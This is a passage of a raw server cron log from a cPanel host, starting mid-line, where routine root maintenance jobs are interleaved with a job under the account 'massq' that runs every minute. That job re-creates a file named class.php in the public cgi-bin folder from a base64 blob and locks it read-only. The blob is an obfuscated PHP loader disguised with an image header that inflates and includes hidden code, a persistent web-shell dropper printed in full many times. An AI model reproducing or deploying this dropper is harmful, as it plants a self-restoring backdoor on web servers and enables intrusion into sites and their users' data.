O0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:30:01 server CROND[9035]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 07:30:01 server CROND[9036]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 07:30:01 server CROND[9037]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 07:30:01 server CROND[9038]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:31:01 server CROND[9143]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:32:01 server CROND[9204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:33:01 server CROND[9271]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:34:01 server CROND[9316]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:35:01 server CROND[9461]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  7 07:35:01 server CROND[9463]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 07:35:01 server CROND[9466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:35:01 server CROND[9468]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 07:35:01 server CROND[9465]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 07:36:01 server CROND[9582]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:37:01 server CROND[9625]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:38:01 server CROND[9693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:39:01 server CROND[9757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:39:01 server CROND[9758]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 07:40:01 server CROND[9918]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:40:01 server CROND[9919]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 07:40:01 server CROND[9920]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 07:40:01 server CROND[9923]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 07:41:01 server CROND[10036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:42:01 server CROND[10087]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 07:42:01 server CROND[10088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
